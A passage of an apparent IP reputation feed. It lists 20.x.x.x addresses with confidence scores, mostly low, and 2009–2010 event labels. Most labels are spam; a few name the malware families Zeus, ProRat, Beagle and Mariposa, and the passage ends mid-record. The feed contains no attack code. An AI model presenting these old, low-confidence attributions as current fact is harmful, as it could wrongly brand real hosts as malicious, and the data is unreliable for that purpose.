Spam : Tue Feb 10 12:59:00 2009 GMT\r\n\r\nIP : 20.4.1.31\r\nConfidence : 96.985284%\r\nEvents : \r\n	Mariposa : Mon Jun  7 10:58:49 2010 GMT\r\n\r\nIP : 20.4.58.48\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Nov  3 05:59:00 2009 GMT\r\n\r\nIP : 20.4.88.194\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar  8 05:59:00 2009 GMT\r\n\r\nIP : 20.4.110.143\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Jan  9 06:59:00 2009 GMT\r\n\r\nIP : 20.4.112.149\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Oct  9 04:59:00 2009 GMT\r\n\r\nIP : 20.4.150.244\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Jan 18 00:59:00 2009 GMT\r\n\r\nIP : 20.4.233.235\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Feb 16 10:59:00 2009 GMT\r\n\r\nIP : 20.5.52.128\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Jan 13 10:59:00 2009 GMT\r\n\r\nIP : 20.5.70.56\r\nConfidence : 13.464445%\r\nEvents : \r\n	Spam : Mon Dec 21 18:59:00 2009 GMT\r\n\r\nIP : 20.5.132.200\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Jan 31 19:59:00 2009 GMT\r\n\r\nIP : 20.6.66.110\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 22 09:59:00 2009 GMT\r\n\r\nIP : 20.6.106.56\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 10 06:59:00 2009 GMT\r\n\r\nIP : 20.6.112.29\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 16:59:00 2009 GMT\r\n\r\nIP : 20.6.178.48\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Mar 12 04:59:00 2009 GMT\r\n\r\nIP : 20.6.214.98\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Feb 22 20:59:00 2009 GMT\r\n\r\nIP : 20.6.227.135\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb 21 12:59:00 2009 GMT\r\n\r\nIP : 20.6.254.76\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Mar  4 06:59:00 2009 GMT\r\n\r\nIP : 20.7.2.45\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar  6 09:59:00 2009 GMT\r\n\r\nIP : 20.7.7.224\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Mar 21 01:59:00 2009 GMT\r\n\r\nIP : 20.7.52.33\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 10 00:59:00 2009 GMT\r\n\r\nIP : 20.7.98.181\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Aug  2 21:59:00 2009 GMT\r\n\r\nIP : 20.7.228.225\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar 23 06:59:00 2009 GMT\r\n\r\nIP : 20.7.230.10\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar 16 00:59:00 2009 GMT\r\n\r\nIP : 20.8.63.64\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Mar 21 03:59:00 2009 GMT\r\n\r\nIP : 20.8.85.142\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Oct  7 02:59:00 2009 GMT\r\n\r\nIP : 20.8.121.45\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Jun  5 22:59:00 2009 GMT\r\n\r\nIP : 20.8.179.157\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar  2 06:59:00 2009 GMT\r\n\r\nIP : 20.9.22.104\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 10 05:59:00 2009 GMT\r\n\r\nIP : 20.9.24.196\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 22:59:00 2009 GMT\r\n\r\nIP : 20.9.113.204\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Mar  5 18:59:00 2009 GMT\r\n\r\nIP : 20.9.125.117\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Aug  5 04:59:00 2009 GMT\r\n\r\nIP : 20.9.148.69\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 21:59:00 2009 GMT\r\n\r\nIP : 20.9.197.43\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar 16 01:59:00 2009 GMT\r\n\r\nIP : 20.9.229.146\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 11:59:00 2009 GMT\r\n\r\nIP : 20.10.1.12\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar  6 09:59:00 2009 GMT\r\n\r\nIP : 20.10.2.0\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Jan 21 18:59:00 2009 GMT\r\n\r\nIP : 20.10.10.10\r\nConfidence : 10%\r\nEvents : \r\n	Beagle : Thu Feb  5 05:59:00 2009 GMT\r\n\r\nIP : 20.10.10.25\r\nConfidence : 10%\r\nEvents : \r\n	ProRat : Tue Aug  4 18:59:00 2009 GMT\r\n\r\nIP : 20.10.23.133\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Mar  5 09:59:00 2009 GMT\r\n\r\nIP : 20.10.49.223\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Oct 10 16:59:00 2009 GMT\r\n\r\nIP : 20.10.51.36\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 13:59:00 2009 GMT\r\n\r\nIP : 20.10.59.30\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Feb 26 00:59:00 2009 GMT\r\n\r\nIP : 20.10.96.23\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar 23 17:59:00 2009 GMT\r\n\r\nIP : 20.10.100.12\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Feb 22 06:59:00 2009 GMT\r\n\r\nIP : 20.10.119.6\r\nConfidence : 18.992336%\r\nEvents : \r\n	Spam : Sat Jan  9 04:59:00 2010 GMT\r\n\r\nIP : 20.10.137.82\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Jan 20 11:59:00 2009 GMT\r\n\r\nIP : 20.240.2.92\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar  6 05:59:00 2009 GMT\r\n\r\nIP : 20.130.4.6\r\nConfidence : 66.221802%\r\nEvents : \r\n	Spam : Tue Apr 27 13:59:00 2010 GMT\r\n\r\nIP : 20.82.8.68\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar 13 16:59:00 2009 GMT\r\n\r\nIP : 20.22.8.215\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar  8 19:59:00 2009 GMT\r\n\r\nIP : 20.154.10.20\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Jan 24 22:59:00 2009 GMT\r\n\r\nIP : 20.106.15.247\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar  2 20:59:00 2009 GMT\r\n\r\nIP : 20.240.22.34\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Feb 11 20:59:00 2009 GMT\r\n\r\nIP : 20.70.21.79\r\nConfidence : 18.777576%\r\nEvents : \r\n	Spam : Fri Jan  8 17:59:00 2010 GMT\r\n\r\nIP : 20.142.22.3\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 10 09:59:00 2009 GMT\r\n\r\nIP : 20.142.22.141\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Feb 15 02:59:00 2009 GMT\r\n\r\nIP : 20.10.183.36\r\nConfidence : 20.195783%\r\nEvents : \r\n	Spam : Wed Jan 13 11:59:00 2010 GMT\r\n\r\nIP : 20.216.26.59\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 21:59:00 2009 GMT\r\n\r\nIP : 20.142.27.142\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Feb 27 21:59:00 2009 GMT\r\n\r\nIP : 20.204.30.52\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Feb  9 10:59:00 2009 GMT\r\n\r\nIP : 20.252.33.137\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Feb 26 23:59:00 2009 GMT\r\n\r\nIP : 20.22.42.130\r\nConfidence : 19.50825%\r\nEvents : \r\n	Spam : Mon Jan 11 06:59:00 2010 GMT\r\n\r\nIP : 20.240.39.32\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 10 08:59:00 2009 GMT\r\n\r\nIP : 20.154.39.119\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb 28 02:59:00 2009 GMT\r\n\r\nIP : 20.216.44.204\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Jan 28 16:59:00 2009 GMT\r\n\r\nIP : 20.180.44.145\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 24 01:59:00 2009 GMT\r\n\r\nIP : 20.168.46.157\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Mar 11 18:59:00 2009 GMT\r\n\r\nIP : 20.22.52.96\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Mar  4 10:59:00 2009 GMT\r\n\r\nIP : 20.82.46.93\r\nConfidence : 19.583508%\r\nEvents : \r\n	Spam : Mon Jan 11 13:59:00 2010 GMT\r\n\r\nIP : 20.58.56.57\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar 13 17:59:00 2009 GMT\r\n\r\nIP : 20.216.58.49\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb 28 04:59:00 2009 GMT\r\n\r\nIP : 20.216.62.21\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Jan 10 16:59:00 2009 GMT\r\n\r\nIP : 20.118.64.228\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Feb 25 23:59:00 2009 GMT\r\n\r\nIP : 20.22.72.189\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Feb 23 16:59:00 2009 GMT\r\n\r\nIP : 20.142.67.81\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Oct 24 05:59:00 2009 GMT\r\n\r\nIP : 20.168.70.16\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar  1 20:59:00 2009 GMT\r\n\r\nIP : 20.228.68.120\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 23:59:00 2009 GMT\r\n\r\nIP : 20.82.72.130\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 24 13:59:00 2009 GMT\r\n\r\nIP : 20.228.76.110\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Mar  5 18:59:00 2009 GMT\r\n\r\nIP : 20.34.84.70\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Feb 27 01:59:00 2009 GMT\r\n\r\nIP : 20.252.80.183\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Feb  8 23:59:00 2009 GMT\r\n\r\nIP : 20.204.83.120\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Feb 27 11:59:00 2009 GMT\r\n\r\nIP : 20.70.83.225\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Feb 27 04:59:00 2009 GMT\r\n\r\nIP : 20.168.95.20\r\nConfidence : 15.850008%\r\nEvents : \r\n	Spam : Wed Dec 30 16:59:00 2009 GMT\r\n\r\nIP : 20.34.99.117\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Aug  3 17:59:00 2009 GMT\r\n\r\nIP : 20.168.97.87\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Feb 23 18:59:00 2009 GMT\r\n\r\nIP : 20.46.104.234\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb 21 16:59:00 2009 GMT\r\n\r\nIP : 20.130.102.102\r\nConfidence : 70.119188%\r\nEvents : \r\n	Spam : Wed May 12 21:59:00 2010 GMT\r\n\r\nIP : 20.142.103.67\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 22:59:00 2009 GMT\r\n\r\nIP : 20.192.106.188\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Feb 13 01:59:00 2009 GMT\r\n\r\nIP : 20.142.112.35\r\nConfidence : 31.545706%\r\nEvents : \r\n	Zeus : Tue Feb 23 22:04:47 2010 GMT\r\n\r\nIP : 20.142.112.36\r\nConfidence : 33.238197%\r\nEvents : \r\n	Zeus : Tue Mar  2 16:26:38 2010 GMT\r\n\r\nIP : 20.142.112.37\r\nConfidence : 31.71527%\r\nEvents : \r\n	Zeus : Wed Feb 24 14:04:00 2010 GMT\r\n\r\nIP : 20.22.118.3\r\nConfidence : 24.717929%\r\nEvents : \r\n	Spam : Fri Jan 29 13:59:00 2010 GMT\r\n\r\nIP : 20.204.122.19\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Feb 11 13:59:00 2009 GMT\r\n\r\nIP : 20.154.125.58\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 14:59:00 2009 GMT\r\n\r\nIP : 20.118.128.86\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Mar 12 08:59:00 2009 GMT\r\n\r\nIP : 20.130.130.199\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Mar  5 06:59:00 2009 GMT\r\n\r\nIP : 20.192.129.123\r\nConfidence : 20.033747%\r\nEvents : \r\n	Spam : Wed Jan 13 14:59:00 2010 GMT\r\n\r\nIP : 20.94.132.196\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar 13 23:59:00 2009 GMT\r\n\r\nIP : 20.216.135.132\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Apr 29 06:59:00 2009 GMT\r\n\r\nIP : 20.106.131.102\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Mar 10 12:59:00 2009 GMT\r\n\r\nIP : 20.228.136.60\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Jan 15 02:59:00 2009 GMT\r\n\r\nIP : 20.94.139.84\r\nConfidence : 64.945013%\r\nEvents : \r\n	Spam : Sat Apr 24 04:59:00 2010 GMT\r\n\r\nIP : 20.192.137.247\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Oct 19 19:59:00 2009 GMT\r\n\r\nIP : 20.154.142.56\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Mar  4 06:59:00 2009 GMT\r\n\r\nIP : 20.82.144.240\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar 16 02:59:00 2009 GMT\r\n\r\nIP : 20.58.151.219\r\nConfidence : 69.948878%\r\nEvents : \r\n	Spam : Wed May 12 11:59:00 2010 GMT\r\n\r\nIP : 20.118.148.161\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 19:59:00 2009 GMT\r\n\r\nIP : 20.142.150.202\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 15:59:00 2009 GMT\r\n\r\nIP : 20.70.151.173\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Dec  1 22:59:00 2009 GMT\r\n\r\nIP : 20.142.158.186\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar 13 17:59:00 2009 GMT\r\n\r\nIP : 20.252.158.137\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 18:59:00 2009 GMT\r\n\r\nIP : 20.204.163.48\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 10 12:59:00 2009 GMT\r\n\r\nIP : 20.118.163.246\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 22 15:59:00 2009 GMT\r\n\r\nIP : 20.11.70.126\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Mar  5 13:59:00 2009 GMT\r\n\r\nIP : 20.130.169.139\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Mar 11 22:59:00 2009 GMT\r\n\r\nIP : 20.204.171.208\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Feb 13 08:59:00 2009 GMT\r\n\r\nIP : 20.240.173.198\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar 16 00:59:00 2009 GMT\r\n\r\nIP : 20.130.176.252\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Feb 15 02:59:00 2009 GMT\r\n\r\nIP : 20.154.183.249\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Feb 19 11:59:00 2009 GMT\r\n\r\nIP : 20.192.180.231\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 08:59:00 2009 GMT\r\n\r\nIP : 20.130.186.50\r\nConfidence : 73.901211%\r\nEvents : \r\n	Spam : Tue Jun  1 17:59:00 2010 GMT\r\n\r\nIP : 20.22.194.148\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Feb  6 17:59:00 2009 GMT\r\n\r\nIP : 20.34.193.38\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Feb 27 04:59:00 2009 GMT\r\n\r\nIP : 20.252.190.22\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Mar  5 10:59:00 2009 GMT\r\n\r\nIP : 20.168.193.58\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb 14 10:59:00 2009 GMT\r\n\r\nIP : 20.240.193.171\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Feb 26 09:59:00 2009 GMT\r\n\r\nIP : 20.58.198.239\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 10 06:59:00 2009 GMT\r\n\r\nIP : 20.34.203.232\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Mar  5 04:59:00 2009 GMT\r\n\r\nIP : 20.192.199.157\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 21:59:00 2009 GMT\r\n\r\nIP : 20.58.214.221\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 10 12:59:00 2009 GMT\r\n\r\nIP : 20.192.207.152\r\nConfidence : 64.677681%\r\nEvents : \r\n	Spam : Sun Apr 25 07:59:00 2010 GMT\r\n\r\nIP : 20.142.214.214\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Feb  9 09:59:00 2009 GMT\r\n\r\nIP : 20.118.216.69\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 19:59:00 2009 GMT\r\n\r\nIP : 20.70.220.120\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Mar 17 03:59:00 2009 GMT\r\n\r\nIP : 20.228.222.120\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Mar 10 10:59:00 2009 GMT\r\n\r\nIP : 20.58.231.60\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 16:59:00 2009 GMT\r\n\r\nIP : 20.204.226.72\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 10:59:00 2009 GMT\r\n\r\nIP : 20.118.225.114\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Feb 12 08:59:00 2009 GMT\r\n\r\nIP : 20.204.226.145\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Jan 16 09:59:00 2009 GMT\r\n\r\nIP : 20.106.223.241\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Mar  5 06:59:00 2009 GMT\r\n\r\nIP : 20.70.228.105\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Aug  1 15:59:00 2009 GMT\r\n\r\nIP : 20.58.236.78\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Sep 23 21:59:00 2009 GMT\r\n\r\nIP : 20.58.237.126\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Mar  3 07:59:00 2009 GMT\r\n\r\nIP : 20.142.234.246\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Jan  1 04:59:00 2009 GMT\r\n\r\nIP : 20.180.246.162\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 20:59:00 2009 GMT\r\n\r\nIP : 20.22.252.238\r\nConfidence : 23.995442%\r\nEvents : \r\n	Spam : Fri Jan 29 10:59:00 2010 GMT\r\n\r\nIP : 20.252.245.141\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Jan 21 05:59:00 2009 GMT\r\n\r\nIP : 20.168.252.194\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar 23 12:59:00 2009 GMT\r\n\r\nIP : 20.106.250.95\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 22 00:59:00 2009 GMT\r\n\r\nIP : 20.59.5.128\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 13:59:00 2009 GMT\r\n\r\nIP : 20.95.7.50\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar 20 11:59:00 2009 GMT\r\n\r\nIP : 20.23.22.102\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Feb  9 03:59:00 2009 GMT\r\n\r\nIP : 20.181.19.221\r\nConfidence : 51.445184%\r\nEvents : \r\n	Spam : Fri Mar 19 17:59:00 2010 GMT\r\n\r\nIP : 20.95.24.60\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar 16 08:59:00 2009 GMT\r\n\r\nIP : 20.181.33.2\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 14:59:00 2009 GMT\r\n\r\nIP : 20.205.32.220\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Feb 26 13:59:00 2009 GMT\r\n\r\nIP : 20.169.34.127\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Feb 26 05:59:00 2009 GMT\r\n\r\nIP : 20.229.32.114\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb 28 03:59:00 2009 GMT\r\n\r\nIP : 20.155.35.31\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Jan 10 16:59:00 2009 GMT\r\n\r\nIP : 20.119.37.122\r\nConfidence : 29.327612%\r\nEvents : \r\n	Spam : Thu Feb 18 02:59:00 2010 GMT\r\n\r\nIP : 20.193.39.236\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Aug  1 03:59:00 2009 GMT\r\n\r\nIP : 20.193.43.120\r\nConfidence : 65.843621%\r\nEvents : \r\n	Spam : Thu Apr 29 18:59:00 2010 GMT\r\n\r\nIP : 20.205.52.96\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Jan  2 10:59:00 2009 GMT\r\n\r\nIP : 20.241.52.5\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Feb 12 17:59:00 2009 GMT\r\n\r\nIP : 20.253.51.97\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Feb 13 19:59:00 2009 GMT\r\n\r\nIP : 20.23.63.77\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb 21 20:59:00 2009 GMT\r\n\r\nIP : 20.119.57.157\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Mar  4 03:59:00 2009 GMT\r\n\r\nIP : 20.169.64.200\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar 20 12:59:00 2009 GMT\r\n\r\nIP : 20.35.73.46\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 22:59:00 2009 GMT\r\n\r\nIP : 20.95.67.137\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Oct  5 05:59:00 2009 GMT\r\n\r\nIP : 20.217.77.51\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 19:59:00 2009 GMT\r\n\r\nIP : 20.47.79.198\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Jan 18 02:59:00 2009 GMT\r\n\r\nIP : 20.217.78.50\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar  2 13:59:00 2009 GMT\r\n\r\nIP : 20.155.79.20\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar  2 07:59:00 2009 GMT\r\n\r\nIP : 20.181.84.225\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Feb 25 21:59:00 2009 GMT\r\n\r\nIP : 20.205.89.222\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Feb  9 04:59:00 2009 GMT\r\n\r\nIP : 20.253.90.201\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 22:59:00 2009 GMT\r\n\r\nIP : 20.35.96.114\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Jan 12 01:59:00 2009 GMT\r\n\r\nIP : 20.71.92.3\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 10 04:59:00 2009 GMT\r\n\r\nIP : 20.11.250.217\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb 21 14:59:00 2009 GMT\r\n\r\nIP : 20.193.88.190\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb 14 11:59:00 2009 GMT\r\n\r\nIP : 20.143.103.176\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Feb 12 17:59:00 2009 GMT\r\n\r\nIP : 20.181.106.133\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar  2 06:59:00 2009 GMT\r\n\r\nIP : 20.23.112.34\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 10 15:59:00 2009 GMT\r\n\r\nIP : 20.217.106.128\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Mar  5 12:59:00 2009 GMT\r\n\r\nIP : 20.253.109.190\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb 14 08:59:00 2009 GMT\r\n\r\nIP : 20.107.109.74\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 13:59:00 2009 GMT\r\n\r\nIP : 20.23.131.128\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Jan 21 05:59:00 2009 GMT\r\n\r\nIP : 20.71.124.42\r\nConfidence : 59.13235%\r\nEvents : \r\n	Spam : Sun Apr 11 01:59:00 2010 GMT\r\n\r\nIP : 20.229.128.96\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar  9 00:59:00 2009 GMT\r\n\r\nIP : 20.12.28.251\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Feb 13 07:59:00 2009 GMT\r\n\r\nIP : 20.23.136.218\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb 21 15:59:00 2009 GMT\r\n\r\nIP : 20.181.134.197\r\nConfidence : 18.638351%\r\nEvents : \r\n	Spam : Wed Jan 13 13:59:00 2010 GMT\r\n\r\nIP : 20.71.132.28\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb 21 12:59:00 2009 GMT\r\n\r\nIP : 20.229.136.56\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Jan  3 14:59:00 2009 GMT\r\n\r\nIP : 20.143.138.64\r\nConfidence : 29.404727%\r\nEvents : \r\n	Spam : Sat Feb 20 10:59:00 2010 GMT\r\n\r\nIP : 20.155.137.1\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Feb  9 08:59:00 2009 GMT\r\n\r\nIP : 20.119.135.248\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Jan 10 10:59:00 2009 GMT\r\n\r\nIP : 20.35.144.223\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Jan 23 22:59:00 2009 GMT\r\n\r\nIP : 20.155.143.83\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Feb 19 08:59:00 2009 GMT\r\n\r\nIP : 20.23.157.111\r\nConfidence : 11.555672%\r\nEvents : \r\n	Spam : Tue Dec 22 04:59:00 2009 GMT\r\n\r\nIP : 20.155.152.244\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 22 03:59:00 2009 GMT\r\n\r\nIP : 20.107.159.27\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Feb 26 20:59:00 2009 GMT\r\n\r\nIP : 20.83.164.163\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Oct  5 09:59:00 2009 GMT\r\n\r\nIP : 20.12.80.240\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Feb  6 15:59:00 2009 GMT\r\n\r\nIP : 20.205.182.173\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar 16 04:59:00 2009 GMT\r\n\r\nIP : 20.12.91.220\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Jan 18 12:59:00 2009 GMT\r\n\r\nIP : 20.131.189.64\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Feb 26 00:59:00 2009 GMT\r\n\r\nIP : 20.119.194.29\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Aug  5 09:59:00 2009 GMT\r\n\r\nIP : 20.241.201.142\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Oct  1 16:59:00 2009 GMT\r\n\r\nIP : 20.131.200.93\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar 16 00:59:00 2009 GMT\r\n\r\nIP : 20.23.215.155\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 18:59:00 2009 GMT\r\n\r\nIP : 20.23.222.145\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Feb 25 16:59:00 2009 GMT\r\n\r\nIP : 20.47.227.102\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Oct 